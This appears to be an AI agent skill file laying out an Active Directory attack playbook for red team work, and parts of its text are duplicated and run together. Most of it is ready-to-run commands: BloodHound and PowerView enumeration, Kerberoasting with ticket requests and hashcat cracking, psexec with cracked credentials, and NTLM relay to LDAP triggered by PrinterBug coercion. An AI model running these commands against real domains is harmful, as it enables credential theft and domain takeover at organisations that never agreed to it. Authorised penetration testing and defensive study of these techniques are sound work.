Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
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Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Active Directory Attacks
Purpose
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linuxsudodate -s "14 APR 2024 18:25:16"# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>
Step 2: AD Reconnaissance with BloodHound
# Start BloodHound
neo4j console
bloodhound --no-sandbox
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
bloodhound-python -u -p -d domain.local -ns 10.10.10.10 -c all
# Collect data with SharpHound
# Python collector (from Linux)
'user'
'password'
Step 3: PowerView Enumeration
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Find local admin access
Find-LocalAdminAccess -Verbose
# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
Lock out accounts with excessive password spraying
Modify production AD objects without approval
Leave Golden Tickets without documentation
Should:
Run BloodHound for attack path discovery
Check for SMB signing before relay attacks
Verify patch levels for CVE exploitation
Examples
Example 1: Domain Compromise via Kerberoasting
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Use cracked service account
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
Example 2: NTLM Relay to LDAP
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. Use created machine account for RBCD attack
Troubleshooting
Issue
Solution
Clock skew too great
Sync time with DC or use faketime
Kerberoasting returns empty
No service accounts with SPNs
DCSync access denied
Need Replicating Directory Changes rights
NTLM relay fails
Check SMB signing, try LDAP target
BloodHound empty
Verify collector ran with correct creds
Additional Resources
For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see references/advanced-attacks.md.
When to Use
This skill is applicable to execute the workflow or actions described in the overview.
